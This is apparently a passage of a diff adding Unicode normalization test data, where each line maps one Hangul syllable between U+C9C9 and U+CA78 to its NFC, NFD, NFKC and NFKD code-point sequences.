+{ source: [0xC9C9], NFC: [0xC9C9], NFD: [0x110C, 0x1175, 0x11B0], NFKC: [0xC9C9], NFKD: [0x110C, 0x1175, 0x11B0] },
+{ source: [0xC9CA], NFC: [0xC9CA], NFD: [0x110C, 0x1175, 0x11B1], NFKC: [0xC9CA], NFKD: [0x110C, 0x1175, 0x11B1] },
+{ source: [0xC9CB], NFC: [0xC9CB], NFD: [0x110C, 0x1175, 0x11B2], NFKC: [0xC9CB], NFKD: [0x110C, 0x1175, 0x11B2] },
+{ source: [0xC9CC], NFC: [0xC9CC], NFD: [0x110C, 0x1175, 0x11B3], NFKC: [0xC9CC], NFKD: [0x110C, 0x1175, 0x11B3] },
+{ source: [0xC9CD], NFC: [0xC9CD], NFD: [0x110C, 0x1175, 0x11B4], NFKC: [0xC9CD], NFKD: [0x110C, 0x1175, 0x11B4] },
+{ source: [0xC9CE], NFC: [0xC9CE], NFD: [0x110C, 0x1175, 0x11B5], NFKC: [0xC9CE], NFKD: [0x110C, 0x1175, 0x11B5] },
+{ source: [0xC9CF], NFC: [0xC9CF], NFD: [0x110C, 0x1175, 0x11B6], NFKC: [0xC9CF], NFKD: [0x110C, 0x1175, 0x11B6] },
+{ source: [0xC9D0], NFC: [0xC9D0], NFD: [0x110C, 0x1175, 0x11B7], NFKC: [0xC9D0], NFKD: [0x110C, 0x1175, 0x11B7] },
+{ source: [0xC9D1], NFC: [0xC9D1], NFD: [0x110C, 0x1175, 0x11B8], NFKC: [0xC9D1], NFKD: [0x110C, 0x1175, 0x11B8] },
+{ source: [0xC9D2], NFC: [0xC9D2], NFD: [0x110C, 0x1175, 0x11B9], NFKC: [0xC9D2], NFKD: [0x110C, 0x1175, 0x11B9] },
+{ source: [0xC9D3], NFC: [0xC9D3], NFD: [0x110C, 0x1175, 0x11BA], NFKC: [0xC9D3], NFKD: [0x110C, 0x1175, 0x11BA] },
+{ source: [0xC9D4], NFC: [0xC9D4], NFD: [0x110C, 0x1175, 0x11BB], NFKC: [0xC9D4], NFKD: [0x110C, 0x1175, 0x11BB] },
+{ source: [0xC9D5], NFC: [0xC9D5], NFD: [0x110C, 0x1175, 0x11BC], NFKC: [0xC9D5], NFKD: [0x110C, 0x1175, 0x11BC] },
+{ source: [0xC9D6], NFC: [0xC9D6], NFD: [0x110C, 0x1175, 0x11BD], NFKC: [0xC9D6], NFKD: [0x110C, 0x1175, 0x11BD] },
+{ source: [0xC9D7], NFC: [0xC9D7], NFD: [0x110C, 0x1175, 0x11BE], NFKC: [0xC9D7], NFKD: [0x110C, 0x1175, 0x11BE] },
+{ source: [0xC9D8], NFC: [0xC9D8], NFD: [0x110C, 0x1175, 0x11BF], NFKC: [0xC9D8], NFKD: [0x110C, 0x1175, 0x11BF] },
+{ source: [0xC9D9], NFC: [0xC9D9], NFD: [0x110C, 0x1175, 0x11C0], NFKC: [0xC9D9], NFKD: [0x110C, 0x1175, 0x11C0] },
+{ source: [0xC9DA], NFC: [0xC9DA], NFD: [0x110C, 0x1175, 0x11C1], NFKC: [0xC9DA], NFKD: [0x110C, 0x1175, 0x11C1] },
+{ source: [0xC9DB], NFC: [0xC9DB], NFD: [0x110C, 0x1175, 0x11C2], NFKC: [0xC9DB], NFKD: [0x110C, 0x1175, 0x11C2] },
+{ source: [0xC9DC], NFC: [0xC9DC], NFD: [0x110D, 0x1161], NFKC: [0xC9DC], NFKD: [0x110D, 0x1161] },
+{ source: [0xC9DD], NFC: [0xC9DD], NFD: [0x110D, 0x1161, 0x11A8], NFKC: [0xC9DD], NFKD: [0x110D, 0x1161, 0x11A8] },
+{ source: [0xC9DE], NFC: [0xC9DE], NFD: [0x110D, 0x1161, 0x11A9], NFKC: [0xC9DE], NFKD: [0x110D, 0x1161, 0x11A9] },
+{ source: [0xC9DF], NFC: [0xC9DF], NFD: [0x110D, 0x1161, 0x11AA], NFKC: [0xC9DF], NFKD: [0x110D, 0x1161, 0x11AA] },
+{ source: [0xC9E0], NFC: [0xC9E0], NFD: [0x110D, 0x1161, 0x11AB], NFKC: [0xC9E0], NFKD: [0x110D, 0x1161, 0x11AB] },
+{ source: [0xC9E1], NFC: [0xC9E1], NFD: [0x110D, 0x1161, 0x11AC], NFKC: [0xC9E1], NFKD: [0x110D, 0x1161, 0x11AC] },
+{ source: [0xC9E2], NFC: [0xC9E2], NFD: [0x110D, 0x1161, 0x11AD], NFKC: [0xC9E2], NFKD: [0x110D, 0x1161, 0x11AD] },
+{ source: [0xC9E3], NFC: [0xC9E3], NFD: [0x110D, 0x1161, 0x11AE], NFKC: [0xC9E3], NFKD: [0x110D, 0x1161, 0x11AE] },
+{ source: [0xC9E4], NFC: [0xC9E4], NFD: [0x110D, 0x1161, 0x11AF], NFKC: [0xC9E4], NFKD: [0x110D, 0x1161, 0x11AF] },
+{ source: [0xC9E5], NFC: [0xC9E5], NFD: [0x110D, 0x1161, 0x11B0], NFKC: [0xC9E5], NFKD: [0x110D, 0x1161, 0x11B0] },
+{ source: [0xC9E6], NFC: [0xC9E6], NFD: [0x110D, 0x1161, 0x11B1], NFKC: [0xC9E6], NFKD: [0x110D, 0x1161, 0x11B1] },
+{ source: [0xC9E7], NFC: [0xC9E7], NFD: [0x110D, 0x1161, 0x11B2], NFKC: [0xC9E7], NFKD: [0x110D, 0x1161, 0x11B2] },
+{ source: [0xC9E8], NFC: [0xC9E8], NFD: [0x110D, 0x1161, 0x11B3], NFKC: [0xC9E8], NFKD: [0x110D, 0x1161, 0x11B3] },
+{ source: [0xC9E9], NFC: [0xC9E9], NFD: [0x110D, 0x1161, 0x11B4], NFKC: [0xC9E9], NFKD: [0x110D, 0x1161, 0x11B4] },
+{ source: [0xC9EA], NFC: [0xC9EA], NFD: [0x110D, 0x1161, 0x11B5], NFKC: [0xC9EA], NFKD: [0x110D, 0x1161, 0x11B5] },
+{ source: [0xC9EB], NFC: [0xC9EB], NFD: [0x110D, 0x1161, 0x11B6], NFKC: [0xC9EB], NFKD: [0x110D, 0x1161, 0x11B6] },
+{ source: [0xC9EC], NFC: [0xC9EC], NFD: [0x110D, 0x1161, 0x11B7], NFKC: [0xC9EC], NFKD: [0x110D, 0x1161, 0x11B7] },
+{ source: [0xC9ED], NFC: [0xC9ED], NFD: [0x110D, 0x1161, 0x11B8], NFKC: [0xC9ED], NFKD: [0x110D, 0x1161, 0x11B8] },
+{ source: [0xC9EE], NFC: [0xC9EE], NFD: [0x110D, 0x1161, 0x11B9], NFKC: [0xC9EE], NFKD: [0x110D, 0x1161, 0x11B9] },
+{ source: [0xC9EF], NFC: [0xC9EF], NFD: [0x110D, 0x1161, 0x11BA], NFKC: [0xC9EF], NFKD: [0x110D, 0x1161, 0x11BA] },
+{ source: [0xC9F0], NFC: [0xC9F0], NFD: [0x110D, 0x1161, 0x11BB], NFKC: [0xC9F0], NFKD: [0x110D, 0x1161, 0x11BB] },
+{ source: [0xC9F1], NFC: [0xC9F1], NFD: [0x110D, 0x1161, 0x11BC], NFKC: [0xC9F1], NFKD: [0x110D, 0x1161, 0x11BC] },
+{ source: [0xC9F2], NFC: [0xC9F2], NFD: [0x110D, 0x1161, 0x11BD], NFKC: [0xC9F2], NFKD: [0x110D, 0x1161, 0x11BD] },
+{ source: [0xC9F3], NFC: [0xC9F3], NFD: [0x110D, 0x1161, 0x11BE], NFKC: [0xC9F3], NFKD: [0x110D, 0x1161, 0x11BE] },
+{ source: [0xC9F4], NFC: [0xC9F4], NFD: [0x110D, 0x1161, 0x11BF], NFKC: [0xC9F4], NFKD: [0x110D, 0x1161, 0x11BF] },
+{ source: [0xC9F5], NFC: [0xC9F5], NFD: [0x110D, 0x1161, 0x11C0], NFKC: [0xC9F5], NFKD: [0x110D, 0x1161, 0x11C0] },
+{ source: [0xC9F6], NFC: [0xC9F6], NFD: [0x110D, 0x1161, 0x11C1], NFKC: [0xC9F6], NFKD: [0x110D, 0x1161, 0x11C1] },
+{ source: [0xC9F7], NFC: [0xC9F7], NFD: [0x110D, 0x1161, 0x11C2], NFKC: [0xC9F7], NFKD: [0x110D, 0x1161, 0x11C2] },
+{ source: [0xC9F8], NFC: [0xC9F8], NFD: [0x110D, 0x1162], NFKC: [0xC9F8], NFKD: [0x110D, 0x1162] },
+{ source: [0xC9F9], NFC: [0xC9F9], NFD: [0x110D, 0x1162, 0x11A8], NFKC: [0xC9F9], NFKD: [0x110D, 0x1162, 0x11A8] },
+{ source: [0xC9FA], NFC: [0xC9FA], NFD: [0x110D, 0x1162, 0x11A9], NFKC: [0xC9FA], NFKD: [0x110D, 0x1162, 0x11A9] },
+{ source: [0xC9FB], NFC: [0xC9FB], NFD: [0x110D, 0x1162, 0x11AA], NFKC: [0xC9FB], NFKD: [0x110D, 0x1162, 0x11AA] },
+{ source: [0xC9FC], NFC: [0xC9FC], NFD: [0x110D, 0x1162, 0x11AB], NFKC: [0xC9FC], NFKD: [0x110D, 0x1162, 0x11AB] },
+{ source: [0xC9FD], NFC: [0xC9FD], NFD: [0x110D, 0x1162, 0x11AC], NFKC: [0xC9FD], NFKD: [0x110D, 0x1162, 0x11AC] },
+{ source: [0xC9FE], NFC: [0xC9FE], NFD: [0x110D, 0x1162, 0x11AD], NFKC: [0xC9FE], NFKD: [0x110D, 0x1162, 0x11AD] },
+{ source: [0xC9FF], NFC: [0xC9FF], NFD: [0x110D, 0x1162, 0x11AE], NFKC: [0xC9FF], NFKD: [0x110D, 0x1162, 0x11AE] },
+{ source: [0xCA00], NFC: [0xCA00], NFD: [0x110D, 0x1162, 0x11AF], NFKC: [0xCA00], NFKD: [0x110D, 0x1162, 0x11AF] },
+{ source: [0xCA01], NFC: [0xCA01], NFD: [0x110D, 0x1162, 0x11B0], NFKC: [0xCA01], NFKD: [0x110D, 0x1162, 0x11B0] },
+{ source: [0xCA02], NFC: [0xCA02], NFD: [0x110D, 0x1162, 0x11B1], NFKC: [0xCA02], NFKD: [0x110D, 0x1162, 0x11B1] },
+{ source: [0xCA03], NFC: [0xCA03], NFD: [0x110D, 0x1162, 0x11B2], NFKC: [0xCA03], NFKD: [0x110D, 0x1162, 0x11B2] },
+{ source: [0xCA04], NFC: [0xCA04], NFD: [0x110D, 0x1162, 0x11B3], NFKC: [0xCA04], NFKD: [0x110D, 0x1162, 0x11B3] },
+{ source: [0xCA05], NFC: [0xCA05], NFD: [0x110D, 0x1162, 0x11B4], NFKC: [0xCA05], NFKD: [0x110D, 0x1162, 0x11B4] },
+{ source: [0xCA06], NFC: [0xCA06], NFD: [0x110D, 0x1162, 0x11B5], NFKC: [0xCA06], NFKD: [0x110D, 0x1162, 0x11B5] },
+{ source: [0xCA07], NFC: [0xCA07], NFD: [0x110D, 0x1162, 0x11B6], NFKC: [0xCA07], NFKD: [0x110D, 0x1162, 0x11B6] },
+{ source: [0xCA08], NFC: [0xCA08], NFD: [0x110D, 0x1162, 0x11B7], NFKC: [0xCA08], NFKD: [0x110D, 0x1162, 0x11B7] },
+{ source: [0xCA09], NFC: [0xCA09], NFD: [0x110D, 0x1162, 0x11B8], NFKC: [0xCA09], NFKD: [0x110D, 0x1162, 0x11B8] },
+{ source: [0xCA0A], NFC: [0xCA0A], NFD: [0x110D, 0x1162, 0x11B9], NFKC: [0xCA0A], NFKD: [0x110D, 0x1162, 0x11B9] },
+{ source: [0xCA0B], NFC: [0xCA0B], NFD: [0x110D, 0x1162, 0x11BA], NFKC: [0xCA0B], NFKD: [0x110D, 0x1162, 0x11BA] },
+{ source: [0xCA0C], NFC: [0xCA0C], NFD: [0x110D, 0x1162, 0x11BB], NFKC: [0xCA0C], NFKD: [0x110D, 0x1162, 0x11BB] },
+{ source: [0xCA0D], NFC: [0xCA0D], NFD: [0x110D, 0x1162, 0x11BC], NFKC: [0xCA0D], NFKD: [0x110D, 0x1162, 0x11BC] },
+{ source: [0xCA0E], NFC: [0xCA0E], NFD: [0x110D, 0x1162, 0x11BD], NFKC: [0xCA0E], NFKD: [0x110D, 0x1162, 0x11BD] },
+{ source: [0xCA0F], NFC: [0xCA0F], NFD: [0x110D, 0x1162, 0x11BE], NFKC: [0xCA0F], NFKD: [0x110D, 0x1162, 0x11BE] },
+{ source: [0xCA10], NFC: [0xCA10], NFD: [0x110D, 0x1162, 0x11BF], NFKC: [0xCA10], NFKD: [0x110D, 0x1162, 0x11BF] },
+{ source: [0xCA11], NFC: [0xCA11], NFD: [0x110D, 0x1162, 0x11C0], NFKC: [0xCA11], NFKD: [0x110D, 0x1162, 0x11C0] },
+{ source: [0xCA12], NFC: [0xCA12], NFD: [0x110D, 0x1162, 0x11C1], NFKC: [0xCA12], NFKD: [0x110D, 0x1162, 0x11C1] },
+{ source: [0xCA13], NFC: [0xCA13], NFD: [0x110D, 0x1162, 0x11C2], NFKC: [0xCA13], NFKD: [0x110D, 0x1162, 0x11C2] },
+{ source: [0xCA14], NFC: [0xCA14], NFD: [0x110D, 0x1163], NFKC: [0xCA14], NFKD: [0x110D, 0x1163] },
+{ source: [0xCA15], NFC: [0xCA15], NFD: [0x110D, 0x1163, 0x11A8], NFKC: [0xCA15], NFKD: [0x110D, 0x1163, 0x11A8] },
+{ source: [0xCA16], NFC: [0xCA16], NFD: [0x110D, 0x1163, 0x11A9], NFKC: [0xCA16], NFKD: [0x110D, 0x1163, 0x11A9] },
+{ source: [0xCA17], NFC: [0xCA17], NFD: [0x110D, 0x1163, 0x11AA], NFKC: [0xCA17], NFKD: [0x110D, 0x1163, 0x11AA] },
+{ source: [0xCA18], NFC: [0xCA18], NFD: [0x110D, 0x1163, 0x11AB], NFKC: [0xCA18], NFKD: [0x110D, 0x1163, 0x11AB] },
+{ source: [0xCA19], NFC: [0xCA19], NFD: [0x110D, 0x1163, 0x11AC], NFKC: [0xCA19], NFKD: [0x110D, 0x1163, 0x11AC] },
+{ source: [0xCA1A], NFC: [0xCA1A], NFD: [0x110D, 0x1163, 0x11AD], NFKC: [0xCA1A], NFKD: [0x110D, 0x1163, 0x11AD] },
+{ source: [0xCA1B], NFC: [0xCA1B], NFD: [0x110D, 0x1163, 0x11AE], NFKC: [0xCA1B], NFKD: [0x110D, 0x1163, 0x11AE] },
+{ source: [0xCA1C], NFC: [0xCA1C], NFD: [0x110D, 0x1163, 0x11AF], NFKC: [0xCA1C], NFKD: [0x110D, 0x1163, 0x11AF] },
+{ source: [0xCA1D], NFC: [0xCA1D], NFD: [0x110D, 0x1163, 0x11B0], NFKC: [0xCA1D], NFKD: [0x110D, 0x1163, 0x11B0] },
+{ source: [0xCA1E], NFC: [0xCA1E], NFD: [0x110D, 0x1163, 0x11B1], NFKC: [0xCA1E], NFKD: [0x110D, 0x1163, 0x11B1] },
+{ source: [0xCA1F], NFC: [0xCA1F], NFD: [0x110D, 0x1163, 0x11B2], NFKC: [0xCA1F], NFKD: [0x110D, 0x1163, 0x11B2] },
+{ source: [0xCA20], NFC: [0xCA20], NFD: [0x110D, 0x1163, 0x11B3], NFKC: [0xCA20], NFKD: [0x110D, 0x1163, 0x11B3] },
+{ source: [0xCA21], NFC: [0xCA21], NFD: [0x110D, 0x1163, 0x11B4], NFKC: [0xCA21], NFKD: [0x110D, 0x1163, 0x11B4] },
+{ source: [0xCA22], NFC: [0xCA22], NFD: [0x110D, 0x1163, 0x11B5], NFKC: [0xCA22], NFKD: [0x110D, 0x1163, 0x11B5] },
+{ source: [0xCA23], NFC: [0xCA23], NFD: [0x110D, 0x1163, 0x11B6], NFKC: [0xCA23], NFKD: [0x110D, 0x1163, 0x11B6] },
+{ source: [0xCA24], NFC: [0xCA24], NFD: [0x110D, 0x1163, 0x11B7], NFKC: [0xCA24], NFKD: [0x110D, 0x1163, 0x11B7] },
+{ source: [0xCA25], NFC: [0xCA25], NFD: [0x110D, 0x1163, 0x11B8], NFKC: [0xCA25], NFKD: [0x110D, 0x1163, 0x11B8] },
+{ source: [0xCA26], NFC: [0xCA26], NFD: [0x110D, 0x1163, 0x11B9], NFKC: [0xCA26], NFKD: [0x110D, 0x1163, 0x11B9] },
+{ source: [0xCA27], NFC: [0xCA27], NFD: [0x110D, 0x1163, 0x11BA], NFKC: [0xCA27], NFKD: [0x110D, 0x1163, 0x11BA] },
+{ source: [0xCA28], NFC: [0xCA28], NFD: [0x110D, 0x1163, 0x11BB], NFKC: [0xCA28], NFKD: [0x110D, 0x1163, 0x11BB] },
+{ source: [0xCA29], NFC: [0xCA29], NFD: [0x110D, 0x1163, 0x11BC], NFKC: [0xCA29], NFKD: [0x110D, 0x1163, 0x11BC] },
+{ source: [0xCA2A], NFC: [0xCA2A], NFD: [0x110D, 0x1163, 0x11BD], NFKC: [0xCA2A], NFKD: [0x110D, 0x1163, 0x11BD] },
+{ source: [0xCA2B], NFC: [0xCA2B], NFD: [0x110D, 0x1163, 0x11BE], NFKC: [0xCA2B], NFKD: [0x110D, 0x1163, 0x11BE] },
+{ source: [0xCA2C], NFC: [0xCA2C], NFD: [0x110D, 0x1163, 0x11BF], NFKC: [0xCA2C], NFKD: [0x110D, 0x1163, 0x11BF] },
+{ source: [0xCA2D], NFC: [0xCA2D], NFD: [0x110D, 0x1163, 0x11C0], NFKC: [0xCA2D], NFKD: [0x110D, 0x1163, 0x11C0] },
+{ source: [0xCA2E], NFC: [0xCA2E], NFD: [0x110D, 0x1163, 0x11C1], NFKC: [0xCA2E], NFKD: [0x110D, 0x1163, 0x11C1] },
+{ source: [0xCA2F], NFC: [0xCA2F], NFD: [0x110D, 0x1163, 0x11C2], NFKC: [0xCA2F], NFKD: [0x110D, 0x1163, 0x11C2] },
+{ source: [0xCA30], NFC: [0xCA30], NFD: [0x110D, 0x1164], NFKC: [0xCA30], NFKD: [0x110D, 0x1164] },
+{ source: [0xCA31], NFC: [0xCA31], NFD: [0x110D, 0x1164, 0x11A8], NFKC: [0xCA31], NFKD: [0x110D, 0x1164, 0x11A8] },
+{ source: [0xCA32], NFC: [0xCA32], NFD: [0x110D, 0x1164, 0x11A9], NFKC: [0xCA32], NFKD: [0x110D, 0x1164, 0x11A9] },
+{ source: [0xCA33], NFC: [0xCA33], NFD: [0x110D, 0x1164, 0x11AA], NFKC: [0xCA33], NFKD: [0x110D, 0x1164, 0x11AA] },
+{ source: [0xCA34], NFC: [0xCA34], NFD: [0x110D, 0x1164, 0x11AB], NFKC: [0xCA34], NFKD: [0x110D, 0x1164, 0x11AB] },
+{ source: [0xCA35], NFC: [0xCA35], NFD: [0x110D, 0x1164, 0x11AC], NFKC: [0xCA35], NFKD: [0x110D, 0x1164, 0x11AC] },
+{ source: [0xCA36], NFC: [0xCA36], NFD: [0x110D, 0x1164, 0x11AD], NFKC: [0xCA36], NFKD: [0x110D, 0x1164, 0x11AD] },
+{ source: [0xCA37], NFC: [0xCA37], NFD: [0x110D, 0x1164, 0x11AE], NFKC: [0xCA37], NFKD: [0x110D, 0x1164, 0x11AE] },
+{ source: [0xCA38], NFC: [0xCA38], NFD: [0x110D, 0x1164, 0x11AF], NFKC: [0xCA38], NFKD: [0x110D, 0x1164, 0x11AF] },
+{ source: [0xCA39], NFC: [0xCA39], NFD: [0x110D, 0x1164, 0x11B0], NFKC: [0xCA39], NFKD: [0x110D, 0x1164, 0x11B0] },
+{ source: [0xCA3A], NFC: [0xCA3A], NFD: [0x110D, 0x1164, 0x11B1], NFKC: [0xCA3A], NFKD: [0x110D, 0x1164, 0x11B1] },
+{ source: [0xCA3B], NFC: [0xCA3B], NFD: [0x110D, 0x1164, 0x11B2], NFKC: [0xCA3B], NFKD: [0x110D, 0x1164, 0x11B2] },
+{ source: [0xCA3C], NFC: [0xCA3C], NFD: [0x110D, 0x1164, 0x11B3], NFKC: [0xCA3C], NFKD: [0x110D, 0x1164, 0x11B3] },
+{ source: [0xCA3D], NFC: [0xCA3D], NFD: [0x110D, 0x1164, 0x11B4], NFKC: [0xCA3D], NFKD: [0x110D, 0x1164, 0x11B4] },
+{ source: [0xCA3E], NFC: [0xCA3E], NFD: [0x110D, 0x1164, 0x11B5], NFKC: [0xCA3E], NFKD: [0x110D, 0x1164, 0x11B5] },
+{ source: [0xCA3F], NFC: [0xCA3F], NFD: [0x110D, 0x1164, 0x11B6], NFKC: [0xCA3F], NFKD: [0x110D, 0x1164, 0x11B6] },
+{ source: [0xCA40], NFC: [0xCA40], NFD: [0x110D, 0x1164, 0x11B7], NFKC: [0xCA40], NFKD: [0x110D, 0x1164, 0x11B7] },
+{ source: [0xCA41], NFC: [0xCA41], NFD: [0x110D, 0x1164, 0x11B8], NFKC: [0xCA41], NFKD: [0x110D, 0x1164, 0x11B8] },
+{ source: [0xCA42], NFC: [0xCA42], NFD: [0x110D, 0x1164, 0x11B9], NFKC: [0xCA42], NFKD: [0x110D, 0x1164, 0x11B9] },
+{ source: [0xCA43], NFC: [0xCA43], NFD: [0x110D, 0x1164, 0x11BA], NFKC: [0xCA43], NFKD: [0x110D, 0x1164, 0x11BA] },
+{ source: [0xCA44], NFC: [0xCA44], NFD: [0x110D, 0x1164, 0x11BB], NFKC: [0xCA44], NFKD: [0x110D, 0x1164, 0x11BB] },
+{ source: [0xCA45], NFC: [0xCA45], NFD: [0x110D, 0x1164, 0x11BC], NFKC: [0xCA45], NFKD: [0x110D, 0x1164, 0x11BC] },
+{ source: [0xCA46], NFC: [0xCA46], NFD: [0x110D, 0x1164, 0x11BD], NFKC: [0xCA46], NFKD: [0x110D, 0x1164, 0x11BD] },
+{ source: [0xCA47], NFC: [0xCA47], NFD: [0x110D, 0x1164, 0x11BE], NFKC: [0xCA47], NFKD: [0x110D, 0x1164, 0x11BE] },
+{ source: [0xCA48], NFC: [0xCA48], NFD: [0x110D, 0x1164, 0x11BF], NFKC: [0xCA48], NFKD: [0x110D, 0x1164, 0x11BF] },
+{ source: [0xCA49], NFC: [0xCA49], NFD: [0x110D, 0x1164, 0x11C0], NFKC: [0xCA49], NFKD: [0x110D, 0x1164, 0x11C0] },
+{ source: [0xCA4A], NFC: [0xCA4A], NFD: [0x110D, 0x1164, 0x11C1], NFKC: [0xCA4A], NFKD: [0x110D, 0x1164, 0x11C1] },
+{ source: [0xCA4B], NFC: [0xCA4B], NFD: [0x110D, 0x1164, 0x11C2], NFKC: [0xCA4B], NFKD: [0x110D, 0x1164, 0x11C2] },
+{ source: [0xCA4C], NFC: [0xCA4C], NFD: [0x110D, 0x1165], NFKC: [0xCA4C], NFKD: [0x110D, 0x1165] },
+{ source: [0xCA4D], NFC: [0xCA4D], NFD: [0x110D, 0x1165, 0x11A8], NFKC: [0xCA4D], NFKD: [0x110D, 0x1165, 0x11A8] },
+{ source: [0xCA4E], NFC: [0xCA4E], NFD: [0x110D, 0x1165, 0x11A9], NFKC: [0xCA4E], NFKD: [0x110D, 0x1165, 0x11A9] },
+{ source: [0xCA4F], NFC: [0xCA4F], NFD: [0x110D, 0x1165, 0x11AA], NFKC: [0xCA4F], NFKD: [0x110D, 0x1165, 0x11AA] },
+{ source: [0xCA50], NFC: [0xCA50], NFD: [0x110D, 0x1165, 0x11AB], NFKC: [0xCA50], NFKD: [0x110D, 0x1165, 0x11AB] },
+{ source: [0xCA51], NFC: [0xCA51], NFD: [0x110D, 0x1165, 0x11AC], NFKC: [0xCA51], NFKD: [0x110D, 0x1165, 0x11AC] },
+{ source: [0xCA52], NFC: [0xCA52], NFD: [0x110D, 0x1165, 0x11AD], NFKC: [0xCA52], NFKD: [0x110D, 0x1165, 0x11AD] },
+{ source: [0xCA53], NFC: [0xCA53], NFD: [0x110D, 0x1165, 0x11AE], NFKC: [0xCA53], NFKD: [0x110D, 0x1165, 0x11AE] },
+{ source: [0xCA54], NFC: [0xCA54], NFD: [0x110D, 0x1165, 0x11AF], NFKC: [0xCA54], NFKD: [0x110D, 0x1165, 0x11AF] },
+{ source: [0xCA55], NFC: [0xCA55], NFD: [0x110D, 0x1165, 0x11B0], NFKC: [0xCA55], NFKD: [0x110D, 0x1165, 0x11B0] },
+{ source: [0xCA56], NFC: [0xCA56], NFD: [0x110D, 0x1165, 0x11B1], NFKC: [0xCA56], NFKD: [0x110D, 0x1165, 0x11B1] },
+{ source: [0xCA57], NFC: [0xCA57], NFD: [0x110D, 0x1165, 0x11B2], NFKC: [0xCA57], NFKD: [0x110D, 0x1165, 0x11B2] },
+{ source: [0xCA58], NFC: [0xCA58], NFD: [0x110D, 0x1165, 0x11B3], NFKC: [0xCA58], NFKD: [0x110D, 0x1165, 0x11B3] },
+{ source: [0xCA59], NFC: [0xCA59], NFD: [0x110D, 0x1165, 0x11B4], NFKC: [0xCA59], NFKD: [0x110D, 0x1165, 0x11B4] },
+{ source: [0xCA5A], NFC: [0xCA5A], NFD: [0x110D, 0x1165, 0x11B5], NFKC: [0xCA5A], NFKD: [0x110D, 0x1165, 0x11B5] },
+{ source: [0xCA5B], NFC: [0xCA5B], NFD: [0x110D, 0x1165, 0x11B6], NFKC: [0xCA5B], NFKD: [0x110D, 0x1165, 0x11B6] },
+{ source: [0xCA5C], NFC: [0xCA5C], NFD: [0x110D, 0x1165, 0x11B7], NFKC: [0xCA5C], NFKD: [0x110D, 0x1165, 0x11B7] },
+{ source: [0xCA5D], NFC: [0xCA5D], NFD: [0x110D, 0x1165, 0x11B8], NFKC: [0xCA5D], NFKD: [0x110D, 0x1165, 0x11B8] },
+{ source: [0xCA5E], NFC: [0xCA5E], NFD: [0x110D, 0x1165, 0x11B9], NFKC: [0xCA5E], NFKD: [0x110D, 0x1165, 0x11B9] },
+{ source: [0xCA5F], NFC: [0xCA5F], NFD: [0x110D, 0x1165, 0x11BA], NFKC: [0xCA5F], NFKD: [0x110D, 0x1165, 0x11BA] },
+{ source: [0xCA60], NFC: [0xCA60], NFD: [0x110D, 0x1165, 0x11BB], NFKC: [0xCA60], NFKD: [0x110D, 0x1165, 0x11BB] },
+{ source: [0xCA61], NFC: [0xCA61], NFD: [0x110D, 0x1165, 0x11BC], NFKC: [0xCA61], NFKD: [0x110D, 0x1165, 0x11BC] },
+{ source: [0xCA62], NFC: [0xCA62], NFD: [0x110D, 0x1165, 0x11BD], NFKC: [0xCA62], NFKD: [0x110D, 0x1165, 0x11BD] },
+{ source: [0xCA63], NFC: [0xCA63], NFD: [0x110D, 0x1165, 0x11BE], NFKC: [0xCA63], NFKD: [0x110D, 0x1165, 0x11BE] },
+{ source: [0xCA64], NFC: [0xCA64], NFD: [0x110D, 0x1165, 0x11BF], NFKC: [0xCA64], NFKD: [0x110D, 0x1165, 0x11BF] },
+{ source: [0xCA65], NFC: [0xCA65], NFD: [0x110D, 0x1165, 0x11C0], NFKC: [0xCA65], NFKD: [0x110D, 0x1165, 0x11C0] },
+{ source: [0xCA66], NFC: [0xCA66], NFD: [0x110D, 0x1165, 0x11C1], NFKC: [0xCA66], NFKD: [0x110D, 0x1165, 0x11C1] },
+{ source: [0xCA67], NFC: [0xCA67], NFD: [0x110D, 0x1165, 0x11C2], NFKC: [0xCA67], NFKD: [0x110D, 0x1165, 0x11C2] },
+{ source: [0xCA68], NFC: [0xCA68], NFD: [0x110D, 0x1166], NFKC: [0xCA68], NFKD: [0x110D, 0x1166] },
+{ source: [0xCA69], NFC: [0xCA69], NFD: [0x110D, 0x1166, 0x11A8], NFKC: [0xCA69], NFKD: [0x110D, 0x1166, 0x11A8] },
+{ source: [0xCA6A], NFC: [0xCA6A], NFD: [0x110D, 0x1166, 0x11A9], NFKC: [0xCA6A], NFKD: [0x110D, 0x1166, 0x11A9] },
+{ source: [0xCA6B], NFC: [0xCA6B], NFD: [0x110D, 0x1166, 0x11AA], NFKC: [0xCA6B], NFKD: [0x110D, 0x1166, 0x11AA] },
+{ source: [0xCA6C], NFC: [0xCA6C], NFD: [0x110D, 0x1166, 0x11AB], NFKC: [0xCA6C], NFKD: [0x110D, 0x1166, 0x11AB] },
+{ source: [0xCA6D], NFC: [0xCA6D], NFD: [0x110D, 0x1166, 0x11AC], NFKC: [0xCA6D], NFKD: [0x110D, 0x1166, 0x11AC] },
+{ source: [0xCA6E], NFC: [0xCA6E], NFD: [0x110D, 0x1166, 0x11AD], NFKC: [0xCA6E], NFKD: [0x110D, 0x1166, 0x11AD] },
+{ source: [0xCA6F], NFC: [0xCA6F], NFD: [0x110D, 0x1166, 0x11AE], NFKC: [0xCA6F], NFKD: [0x110D, 0x1166, 0x11AE] },
+{ source: [0xCA70], NFC: [0xCA70], NFD: [0x110D, 0x1166, 0x11AF], NFKC: [0xCA70], NFKD: [0x110D, 0x1166, 0x11AF] },
+{ source: [0xCA71], NFC: [0xCA71], NFD: [0x110D, 0x1166, 0x11B0], NFKC: [0xCA71], NFKD: [0x110D, 0x1166, 0x11B0] },
+{ source: [0xCA72], NFC: [0xCA72], NFD: [0x110D, 0x1166, 0x11B1], NFKC: [0xCA72], NFKD: [0x110D, 0x1166, 0x11B1] },
+{ source: [0xCA73], NFC: [0xCA73], NFD: [0x110D, 0x1166, 0x11B2], NFKC: [0xCA73], NFKD: [0x110D, 0x1166, 0x11B2] },
+{ source: [0xCA74], NFC: [0xCA74], NFD: [0x110D, 0x1166, 0x11B3], NFKC: [0xCA74], NFKD: [0x110D, 0x1166, 0x11B3] },
+{ source: [0xCA75], NFC: [0xCA75], NFD: [0x110D, 0x1166, 0x11B4], NFKC: [0xCA75], NFKD: [0x110D, 0x1166, 0x11B4] },
+{ source: [0xCA76], NFC: [0xCA76], NFD: [0x110D, 0x1166, 0x11B5], NFKC: [0xCA76], NFKD: [0x110D, 0x1166, 0x11B5] },
+{ source: [0xCA77], NFC: [0xCA77], NFD: [0x110D, 0x1166, 0x11B6], NFKC: [0xCA77], NFKD: [0x110D, 0x1166, 0x11B6] },
+{ source: [0xCA78], NFC: [0xCA78], NFD: [0x110D, 0x1166, 0x11B7], NFKC: [0xCA78], NFKD: [0x110D, 0x1166, 0x11B7] },
